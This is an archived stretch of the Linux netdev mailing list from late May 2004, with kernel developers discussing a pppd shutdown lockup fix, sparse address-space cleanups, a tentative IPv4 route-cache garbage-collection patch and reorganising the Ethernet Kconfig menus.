<20040529051736.GA11303@gondor.apana.org.au> X-Mailer: Sylpheed version 0.9.10 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5460 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Sat, 29 May 2004 15:17:36 +1000 Herbert Xu wrote: > Why do we need to call free_netdev after unregistering the netdev > from the drivers at all? What's wrong with calling it from run_todo > itself? Because the driver is the only agent which knows when it is safe to free up the structure. It may still have some attached memory to free, for example, ala: unregister_netdev(dev); kfree(dev->priv); free_netdev(dev); This is common, for example in drivers/net/tg3.c:tg3_remove_one() we have: struct tg3 *tp = netdev_priv(dev); unregister_netdev(dev); iounmap((void *)tp->regs); free_netdev(dev); See? From davem@redhat.com Sat May 29 12:52:24 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 29 May 2004 12:52:25 -0700 (PDT) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4TJqNgi017185 for ; Sat, 29 May 2004 12:52:24 -0700 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.12.10/8.12.10) with ESMTP id i4TJqAi5017027; Sat, 29 May 2004 15:52:10 -0400 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i4TJqA021151; Sat, 29 May 2004 15:52:10 -0400 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.11/8.12.10) with SMTP id i4TJq3RS028000; Sat, 29 May 2004 15:52:03 -0400 Date: Sat, 29 May 2004 12:51:53 -0700 From: "David S. Miller" To: Herbert Xu Cc: herbert@gondor.apana.org.au, debian.bugs@kepier.clara.net, 251215@bugs.debian.org, shemminger@osdl.org, jgarzik@pobox.com, netdev@oss.sgi.com Subject: Re: Bug#251215: kernel-image-2.6.6-1-k7: pppd locks up, cannot be killed, during ppp shutdown Message-Id: <20040529125153.5f2df6ad.davem@redhat.com> In-Reply-To: References: <20040529051736.GA11303@gondor.apana.org.au> X-Mailer: Sylpheed version 0.9.10 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5461 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Sat, 29 May 2004 22:00:52 +1000 Herbert Xu wrote: > Here is a minimal fix for this problem. Wouldn't it be easier just to move the "list_empty(&net_todo_list)" check to be inside the net_todo_run_mutex semaphore? From jgarzik@pobox.com Sat May 29 13:00:26 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 29 May 2004 13:00:28 -0700 (PDT) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4TK0Pgi017772 for ; Sat, 29 May 2004 13:00:25 -0700 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143] helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.33) id 1BUA0G-0006ls-6p; Sat, 29 May 2004 21:00:24 +0100 Message-ID: <40B8EBCB.3010701@pobox.com> Date: Sat, 29 May 2004 16:00:11 -0400 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040510 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Andreas Schwab CC: Netdev , Linux Kernel , Andrew Morton , "David S. Miller" , Al Viro , Arjan van de Ven , Linus Torvalds Subject: Re: [PATCH] remove net driver ugliness that sparse complains about References: <40B8D2F8.6090905@pobox.com> In-Reply-To: Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 5462 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Andreas Schwab wrote: > These two look wrong, too many &. thanks, fixed From herbert@gondor.apana.org.au Sat May 29 13:05:09 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 29 May 2004 13:05:16 -0700 (PDT) Received: from arnor.apana.org.au (mail@arnor.apana.org.au [203.14.152.115]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4TK53gi018201 for ; Sat, 29 May 2004 13:05:07 -0700 Received: from gondolin.me.apana.org.au ([192.168.0.6] ident=mail) by arnor.apana.org.au with esmtp (Exim 3.35 #1 (Debian)) id 1BUA4C-0001v4-00; Sun, 30 May 2004 06:04:28 +1000 Received: from herbert by gondolin.me.apana.org.au with local (Exim 3.36 #1 (Debian)) id 1BUA40-0004PO-00; Sun, 30 May 2004 06:04:16 +1000 Date: Sun, 30 May 2004 06:04:16 +1000 To: "David S. Miller" Cc: debian.bugs@kepier.clara.net, 251215@bugs.debian.org, shemminger@osdl.org, jgarzik@pobox.com, netdev@oss.sgi.com Subject: Re: Bug#251215: kernel-image-2.6.6-1-k7: pppd locks up, cannot be killed, during ppp shutdown Message-ID: <20040529200416.GA16929@gondor.apana.org.au> References: <20040529051736.GA11303@gondor.apana.org.au> <20040529125153.5f2df6ad.davem@redhat.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20040529125153.5f2df6ad.davem@redhat.com> User-Agent: Mutt/1.5.5.1+cvs20040105i From: Herbert Xu X-archive-position: 5463 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: herbert@gondor.apana.org.au Precedence: bulk X-list: netdev On Sat, May 29, 2004 at 12:51:53PM -0700, David S. Miller wrote: > On Sat, 29 May 2004 22:00:52 +1000 > Herbert Xu wrote: > > > Here is a minimal fix for this problem. > > Wouldn't it be easier just to move the "list_empty(&net_todo_list)" > check to be inside the net_todo_run_mutex semaphore? Yes that should work much better. Thanks, -- Visit Openswan at http://www.openswan.org/ Email: Herbert Xu ~{PmV>HI~} Home Page: http://gondor.apana.org.au/~herbert/ PGP Key: http://gondor.apana.org.au/~herbert/pubkey.txt From davem@redhat.com Sat May 29 13:11:55 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 29 May 2004 13:11:59 -0700 (PDT) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4TKBqgi018765 for ; Sat, 29 May 2004 13:11:54 -0700 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.12.10/8.12.10) with ESMTP id i4TKBbi5020080; Sat, 29 May 2004 16:11:37 -0400 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i4TKBb025296; Sat, 29 May 2004 16:11:37 -0400 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.11/8.12.10) with SMTP id i4TKBTUr000734; Sat, 29 May 2004 16:11:30 -0400 Date: Sat, 29 May 2004 13:11:19 -0700 From: "David S. Miller" To: Herbert Xu Cc: debian.bugs@kepier.clara.net, 251215@bugs.debian.org, shemminger@osdl.org, jgarzik@pobox.com, netdev@oss.sgi.com Subject: Re: Bug#251215: kernel-image-2.6.6-1-k7: pppd locks up, cannot be killed, during ppp shutdown Message-Id: <20040529131119.6d7d7f4e.davem@redhat.com> In-Reply-To: <20040529200416.GA16929@gondor.apana.org.au> References: <20040529051736.GA11303@gondor.apana.org.au> <20040529125153.5f2df6ad.davem@redhat.com> <20040529200416.GA16929@gondor.apana.org.au> X-Mailer: Sylpheed version 0.9.10 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5464 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Sun, 30 May 2004 06:04:16 +1000 Herbert Xu wrote: > On Sat, May 29, 2004 at 12:51:53PM -0700, David S. Miller wrote: > > On Sat, 29 May 2004 22:00:52 +1000 > > Herbert Xu wrote: > > > > > Here is a minimal fix for this problem. > > > > Wouldn't it be easier just to move the "list_empty(&net_todo_list)" > > check to be inside the net_todo_run_mutex semaphore? > > Yes that should work much better. Great, that's how I'll fix this bug. From viro@www.linux.org.uk Sat May 29 13:42:33 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 29 May 2004 13:42:37 -0700 (PDT) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4TKgWgi019732 for ; Sat, 29 May 2004 13:42:32 -0700 Received: from viro by www.linux.org.uk with local (Exim 4.33) id 1BUAf0-0007Bh-Cb; Sat, 29 May 2004 21:42:30 +0100 Date: Sat, 29 May 2004 21:42:30 +0100 From: viro@parcelfarce.linux.theplanet.co.uk To: Linus Torvalds Cc: Jeff Garzik , Netdev , Linux Kernel , Andrew Morton , "David S. Miller" , Arjan van de Ven Subject: Re: [PATCH] remove net driver ugliness that sparse complains about Message-ID: <20040529204230.GG12308@parcelfarce.linux.theplanet.co.uk> References: <40B8D2F8.6090905@pobox.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.4.1i X-archive-position: 5465 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: viro@parcelfarce.linux.theplanet.co.uk Precedence: bulk X-list: netdev On Sat, May 29, 2004 at 11:23:56AM -0700, Linus Torvalds wrote: > Since the whole point of sparse is to have _static_ typechecking, such > code will never be sparse-clean, and either we have to ignore it, or we > should split up the use into two different kinds of structures (with the > same members apart from the address space) and explicitly convert between > the two. I'd obviously prefer that approach, but it might be a fair > amount of work (most of it should be really trivial, though, and I suspect > it would clarify pointer usage a lot to know when a "struct msghdr" points > to user space, and when it points to kernel space. Or whatever - maybe > that was a bad example). Right now there is only one serious false positive I know about. put_user(0, dirent->d_name) and its equivanlents in some places. That's __typeof__() handling bug. The rest is easy to spot - ## handling is broken in minimally tricky cases, [arg] is not recognized in asm arguments, some __attribute__() are not recognized and string constant length limits sometimes bite in asm bodies. The rest of patchset (~360Kb right now, and it will grow more) does include several splittings of structs, BTW. It removes pretty much all noise on my alpha / amd64 / x86 builds; the rest is real issues. Probably the worst annoyance is iovec - there is almost no intersection between the code that expects kernel pointers in it with code that expects userland ones (majority). I hadn't split that one, but that's worth considering. sync kiocb is a disaster waiting to happen. ->write() of tty_driver will take some research - we might want to try and keep copying from userland in generic code instead of just splitting the method, but that will require figuring out the locking issues. A bunch of set_fs() users in compat code is simply broken and should be using compat_alloc_user_space() instead. They end up with a mix of kernel and userland pointers, and set_fs(KERNEL_DS) is not enough to handle that. console code has some moderately minor annoyances; compared to the ugliness of the entire code in that area they are not too interesting. One thing I would _really_ hate to see is use of typecasts just to shut sparse up - the point is to find the potentially problematic places, not to hide them. We probably need a flag for sparse that would warn about explicit typecasts changing noderef and address_space inside the pointers; it obviously won't help the casts to unsigned long and back, but those are presumably used when people really mean it. From viro@www.linux.org.uk Sat May 29 13:44:59 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 29 May 2004 13:44:59 -0700 (PDT) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4TKiwgi020159 for ; Sat, 29 May 2004 13:44:58 -0700 Received: from viro by www.linux.org.uk with local (Exim 4.33) id 1BUAhN-0007Cu-3b; Sat, 29 May 2004 21:44:57 +0100 Date: Sat, 29 May 2004 21:44:57 +0100 From: viro@parcelfarce.linux.theplanet.co.uk To: Jeff Garzik Cc: Netdev , Linux Kernel , Andrew Morton , "David S. Miller" , Arjan van de Ven , Linus Torvalds Subject: Re: [PATCH] remove net driver ugliness that sparse complains about Message-ID: <20040529204457.GI12308@parcelfarce.linux.theplanet.co.uk> References: <40B8D2F8.6090905@pobox.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <40B8D2F8.6090905@pobox.com> User-Agent: Mutt/1.4.1i X-archive-position: 5466 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: viro@parcelfarce.linux.theplanet.co.uk Precedence: bulk X-list: netdev On Sat, May 29, 2004 at 02:14:16PM -0400, Jeff Garzik wrote: > I'm a bit curious why sparse complained about taking the _address_ of > pointer, but nonetheless it's an ugliness that should be contained > before it spreads :) Attached is a proposed cleanup patch for comment. > The ugliness is confined to include/linux/mii.h, and I avoid use the > ifru_data field completely. sparse hadn't ;-) I had, when I saw it in grep output. From torvalds@osdl.org Sat May 29 20:25:33 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 29 May 2004 20:25:36 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4U3PWgi005554 for ; Sat, 29 May 2004 20:25:33 -0700 Received: from localhost (build.pdx.osdl.net [172.20.1.2]) by mail.osdl.org (8.11.6/8.11.6) with ESMTP id i4U3PMr18996; Sat, 29 May 2004 20:25:22 -0700 Date: Sat, 29 May 2004 20:25:21 -0700 (PDT) From: Linus Torvalds To: viro@parcelfarce.linux.theplanet.co.uk cc: Jeff Garzik , Netdev , Linux Kernel , Andrew Morton , "David S. Miller" , Arjan van de Ven Subject: Re: [PATCH] remove net driver ugliness that sparse complains about In-Reply-To: <20040529204230.GG12308@parcelfarce.linux.theplanet.co.uk> Message-ID: References: <40B8D2F8.6090905@pobox.com> <20040529204230.GG12308@parcelfarce.linux.theplanet.co.uk> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 5467 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: torvalds@osdl.org Precedence: bulk X-list: netdev On Sat, 29 May 2004 viro@parcelfarce.linux.theplanet.co.uk wrote: > > Right now there is only one serious false positive I know about. > put_user(0, dirent->d_name) and its equivanlents in some places. > That's __typeof__() handling bug. It should be fixed now. It wasn't typeof, it was a general array derefence type issue ("*array" needs to pick up the attributes of the array and apply them to the sub-node). Lots fewer sparse complaints now. Both sparse fixes and the kernel stuff pushed out. Linus From daniel@fooishbar.org Sun May 30 08:14:33 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 30 May 2004 08:14:36 -0700 (PDT) Received: from tycho.fooishbar.org (postfix@x1.cs.pdx.edu [131.252.208.81]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4UFEXgi016120 for ; Sun, 30 May 2004 08:14:33 -0700 Received: by tycho.fooishbar.org (Postfix, from userid 1000) id 56C8E805261; Sun, 30 May 2004 08:14:34 -0700 (PDT) Date: Mon, 31 May 2004 01:14:34 +1000 From: Daniel Stone To: netdev@oss.sgi.com Subject: net/ipv4/route.c GC patch: is this insane? Message-ID: <20040530151434.GE24955@fooishbar.org> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="uCPdOCrL+PnN2Vxy" Content-Disposition: inline X-GnuPG-Key: 3CED7EFD User-Agent: Mutt/1.5.6i X-archive-position: 5468 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: daniel@fooishbar.org Precedence: bulk X-list: netdev --uCPdOCrL+PnN2Vxy Content-Type: multipart/mixed; boundary="/3yNEOqWowh/8j+e" Content-Disposition: inline --/3yNEOqWowh/8j+e Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable Hi guys, Attached is a patch to net/ipv4/route.c (against 2.4.23, sorry) to combat the 'dst cache full' issue. Essentially, there's a machine that I have access to (a router) that will report 'dst cache full', and immediately cease dealing with any IPv4 traffic. I found the attached patch against 2.0, and forward-ported it to 2.4. As this issue only crops up randomly every couple of weeks, I can't tell you whether it's worked or not. All I know is that it hasn't eaten my firstborn so far: given a quick spin, it seemed to work OK, but whether or not it solves the problem is a different matter. I also have /proc/net dumps of the machine from before and after it died, if anyone wants them. So, is this patch at all sane? Please CC me: I don't subscribe. Cheers! :) d (to borrow from Michael M: 'hacker, iterant idiot') --=20 Daniel Stone "The programs are documented fully by _The Rise and Fall of a Fooish Bar_, available by the Info system." -- debian/manpage.sgml.ex, dh_make template --/3yNEOqWowh/8j+e Content-Type: text/plain; charset=us-ascii Content-Disposition: attachment; filename="route-fix-gc.diff" Content-Transfer-Encoding: quoted-printable --- net/ipv4/route.c.orig 2004-05-11 23:56:10.000000000 +1000 +++ net/ipv4/route.c 2004-05-27 16:16:23.000000000 +1000 @@ -101,7 +101,7 @@ =20 #define IP_MAX_MTU 0xFFF0 =20 -#define RT_GC_TIMEOUT (300*HZ) +#define RT_GC_TIMEOUT (120*HZ) =20 int ip_rt_min_delay =3D 2 * HZ; int ip_rt_max_delay =3D 10 * HZ; @@ -138,7 +138,8 @@ static struct dst_entry *ipv4_negative_advice(struct dst_entry *dst); static void ipv4_link_failure(struct sk_buff *skb); static int rt_garbage_collect(void); - +static int rt_garbage_docollect(void); +static int rt_delete_now(void); =20 struct dst_ops ipv4_dst_ops =3D { family: AF_INET, @@ -526,7 +527,7 @@ and when load increases it reduces to limit cache size. */ =20 -static int rt_garbage_collect(void) +static int rt_garbage_docollect(void) { static unsigned long expire =3D RT_GC_TIMEOUT; static unsigned long last_gc; @@ -630,8 +631,11 @@ =20 if (atomic_read(&ipv4_dst_ops.entries) < ip_rt_max_size) goto out; + /* + * don't bitch, just silently attempt to correct if (net_ratelimit()) printk(KERN_WARNING "dst cache overflow\n"); + */ rt_cache_stat[smp_processor_id()].gc_dst_overflow++; return 1; =20 @@ -646,6 +650,40 @@ #endif out: return 0; } +static int rt_delete_now(void){ + struct rtable *rth, **rthp; + int i =3D 0, ent1 =3D 0, ent2 =3D 0, c =3D 0; + + ent1 =3D atomic_read(&ipv4_dst_ops.entries); + local_bh_disable(); + while (i < rt_hash_mask) { + rthp =3D &(rt_hash_table[i].chain); + while ((rth =3D *rthp) !=3D NULL) { + *rthp =3D rth->u.rt_next; + rth->u.rt_next =3D NULL; + c++; + rt_free(rth); + } + i++; + } + + atomic_set(&ipv4_dst_ops.entries, 0); + local_bh_enable(); + ent2 =3D atomic_read(&ipv4_dst_ops.entries); + + if (net_ratelimit()){ + printk("dst cache overflow\n"); + printk("rt_delete_now(): s:%d e:%d t:%d\n", ent1, ent2, c); + } +=09 + return 0; +} + +static int rt_garbage_collect(void){ + if (rt_garbage_docollect()) + rt_delete_now(); + return 0; +} =20 static int rt_intern_hash(unsigned hash, struct rtable *rt, struct rtable = **rp) { --/3yNEOqWowh/8j+e-- --uCPdOCrL+PnN2Vxy Content-Type: application/pgp-signature; name="signature.asc" Content-Description: Digital signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (GNU/Linux) iD8DBQFAufpacPClnTztfv0RAtNkAJ90UcBDeYCGC+qgykn2jaWFUlwHVQCfdIl/ HqkrzcKj0JczVvA6uhKOnGs= =WyW4 -----END PGP SIGNATURE----- --uCPdOCrL+PnN2Vxy-- From mcgrof@studorgs.rutgers.edu Sun May 30 08:47:20 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 30 May 2004 08:47:29 -0700 (PDT) Received: from ruslug.rutgers.edu (studorgs.rutgers.edu [128.6.24.131]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4UFl9gi020115 for ; Sun, 30 May 2004 08:47:10 -0700 Received: by ruslug.rutgers.edu (Postfix, from userid 503) id 3BA8AF9D4B; Sun, 30 May 2004 11:18:14 -0400 (EDT) Date: Sun, 30 May 2004 11:18:14 -0400 To: netdev@oss.sgi.com Cc: Margit Schubert-While Subject: Netdev list subscription Message-ID: <20040530151814.GX3330@ruslug.rutgers.edu> Mail-Followup-To: netdev@oss.sgi.com, Margit Schubert-While Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="Q/FcmoF7z16Q3/l4" Content-Disposition: inline User-Agent: Mutt/1.3.28i X-Operating-System: 2.4.18-1-686 Organization: Rutgers University Student Linux Users Group From: mcgrof@studorgs.rutgers.edu (Luis R. Rodriguez) X-archive-position: 5469 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: mcgrof@studorgs.rutgers.edu Precedence: bulk X-list: netdev --Q/FcmoF7z16Q3/l4 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable The way I found out how to subscribe to netdev was by asking someone in the= list and I already forgot how. By going to oss.sgi.com, I cannot find how to subscribe to refer someone to the list subscription page.=20 Perhaps this should be a bit more edivent on oss.sgi.com ? Luis --=20 GnuPG Key fingerprint =3D 113F B290 C6D2 0251 4D84 A34A 6ADD 4937 E20A 525E --Q/FcmoF7z16Q3/l4 Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (GNU/Linux) iD8DBQFAufs2at1JN+IKUl4RAvzFAKCrYak/jZV/0O+z3UMdA75hPO/I7QCgkA6i C27EPbE7+h+nA89XAo6vL48= =EboT -----END PGP SIGNATURE----- --Q/FcmoF7z16Q3/l4-- From bunk@fs.tum.de Sun May 30 12:37:17 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 30 May 2004 12:37:21 -0700 (PDT) Received: from hermes.fachschaften.tu-muenchen.de (hermes.fachschaften.tu-muenchen.de [129.187.202.12]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4UJbFgi032545 for ; Sun, 30 May 2004 12:37:16 -0700 Received: (qmail 15184 invoked from network); 30 May 2004 19:34:24 -0000 Received: from mimas.fachschaften.tu-muenchen.de (129.187.202.58) by hermes.fachschaften.tu-muenchen.de with QMQP; 30 May 2004 19:34:24 -0000 Date: Sun, 30 May 2004 21:37:06 +0200 From: Adrian Bunk To: Jeff Garzik Cc: linux-kernel@vger.kernel.org, "Randy.Dunlap" , Danny ter Haar , wa1ter@myrealbox.com, dth@ncc1701.cistron.net, Netdev , Andrew Morton Subject: Re: [patch] Re: Gigabit Kconfig problems with yesterday's update Message-ID: <20040530193706.GG13111@fs.tum.de> References: <40B8A37D.1090802@myrealbox.com> <20040530134544.GE13111@fs.tum.de> <20040530143734.GA24627@dth.net> <20040530094120.61b22d2e.rddunlap@osdl.org> <40BA1F25.4080402@pobox.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <40BA1F25.4080402@pobox.com> User-Agent: Mutt/1.5.6i X-archive-position: 5470 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: bunk@fs.tum.de Precedence: bulk X-list: netdev On Sun, May 30, 2004 at 01:51:33PM -0400, Jeff Garzik wrote: > NET_GIGE is rightly dependent on NET_ETHERNET, as it is a subset. > > I wonder if the attached patch "fixes" peoples config problems :) > > ===== drivers/net/Kconfig 1.74 vs edited ===== > --- 1.74/drivers/net/Kconfig 2004-05-27 16:42:40 -04:00 > +++ edited/drivers/net/Kconfig 2004-05-30 13:49:48 -04:00 > @@ -163,7 +163,7 @@ > depends on NETDEVICES > > config NET_ETHERNET > - bool "Ethernet (10 or 100Mbit)" > + bool "Ethernet (10/100/1000/10000 Mbit)" > ---help--- > Ethernet (also called IEEE 802.3 or ISO 8802-2) is the most common > type of Local Area Network (LAN) in universities and companies. This is not sufficient since it's still under the "Ethernet (10 or 100Mbit)" menu. What about the patch below? cu Adrian --- linux-2.6.7-rc2-full/drivers/net/Kconfig.old 2004-05-30 21:29:46.000000000 +0200 +++ linux-2.6.7-rc2-full/drivers/net/Kconfig 2004-05-30 21:34:42.000000000 +0200 @@ -159,11 +159,8 @@ # Ethernet # -menu "Ethernet (10 or 100Mbit)" - depends on NETDEVICES - config NET_ETHERNET - bool "Ethernet (10 or 100Mbit)" + bool "Ethernet (10/100/1000/10000 Mbit)" ---help--- Ethernet (also called IEEE 802.3 or ISO 8802-2) is the most common type of Local Area Network (LAN) in universities and companies. @@ -188,6 +185,9 @@ kernel: saying N will just cause the configurator to skip all the questions about Ethernet network cards. If unsure, say N. +menu "Ethernet (10/100 Mbit)" + depends on NET_ETHERNET + config MII tristate "Generic Media Independent Interface device support" depends on NET_ETHERNET @@ -1875,7 +1875,7 @@ # menu "Gigabit Ethernet (1000/10000 Mbit)" - depends on NETDEVICES + depends on NET_ETHERNET config NET_GIGE bool "Gigabit Ethernet (1000/10000 Mbit) controller support" From torvalds@osdl.org Sun May 30 13:07:31 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 30 May 2004 13:07:33 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4UK7Vgi001271 for ; Sun, 30 May 2004 13:07:31 -0700 Received: from localhost (build.pdx.osdl.net [172.20.1.2]) by mail.osdl.org (8.11.6/8.11.6) with ESMTP id i4UK6rr24107; Sun, 30 May 2004 13:06:53 -0700 Date: Sun, 30 May 2004 13:06:53 -0700 (PDT) From: Linus Torvalds To: Adrian Bunk cc: Jeff Garzik , linux-kernel@vger.kernel.org, "Randy.Dunlap" , Danny ter Haar , wa1ter@myrealbox.com, dth@ncc1701.cistron.net, Netdev , Andrew Morton Subject: Re: [patch] Re: Gigabit Kconfig problems with yesterday's update In-Reply-To: <20040530193706.GG13111@fs.tum.de> Message-ID: References: <40B8A37D.1090802@myrealbox.com> <20040530134544.GE13111@fs.tum.de> <20040530143734.GA24627@dth.net> <20040530094120.61b22d2e.rddunlap@osdl.org> <40BA1F25.4080402@pobox.com> <20040530193706.GG13111@fs.tum.de> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 5472 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: torvalds@osdl.org Precedence: bulk X-list: netdev On Sun, 30 May 2004, Adrian Bunk wrote: > > > This is not sufficient since it's still under the > "Ethernet (10 or 100Mbit)" menu. > > What about the patch below? > > config NET_ETHERNET > - bool "Ethernet (10 or 100Mbit)" > + bool "Ethernet (10/100/1000/10000 Mbit)" Ok, this part is obviously sane. However: > +menu "Ethernet (10/100 Mbit)" > + depends on NET_ETHERNET > + > > menu "Gigabit Ethernet (1000/10000 Mbit)" > - depends on NETDEVICES > + depends on NET_ETHERNET is it really sane these days to split out gigabit from the "regular" ethernets? gigabit ethernet is getting quite a bit more common than it used to be, and a lot of the gigabit devices are just "standard ethernet" as far as the user is concerned, and in fact they are often _used_ in just regular 10/100Mbps setups. In other words: it's quite understandable if somebody doesn't even _realize_ that his chip supports gigabit speeds these days. So wouldn't the right fix be to just remove the distinction between "regular" and "gigabit" ethernet, and put them all in the same menu? If the menu then grows really big, maybe we can split it according to some _saner_ split. Not that I can see off-hand what that would be, but.. Linus From margitsw@t-online.de Sun May 30 13:07:27 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 30 May 2004 13:07:29 -0700 (PDT) Received: from mailout08.sul.t-online.com (mailout08.sul.t-online.com [194.25.134.20]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4UK7Mgi001270 for ; Sun, 30 May 2004 13:07:25 -0700 Received: from fwd10.aul.t-online.de by mailout08.sul.t-online.com with smtp id 1BUWaX-0006vO-00; Sun, 30 May 2004 22:07:21 +0200 Received: from margit.t-online.de (JbbAM+Z6Ze4ig4iu8jhNqI7EuyX7x2kCTcvtCdMwoAUMFwi1FtCSso@[80.128.220.231]) by fwd10.sul.t-online.com with esmtp id 1BUWaE-01OLM80; Sun, 30 May 2004 22:07:02 +0200 Message-Id: <5.1.0.14.2.20040530212849.00af0c78@pop.t-online.de> X-Sender: margitsw@pop.t-online.de X-Mailer: QUALCOMM Windows Eudora Version 5.1 Date: Sun, 30 May 2004 22:07:55 +0200 To: 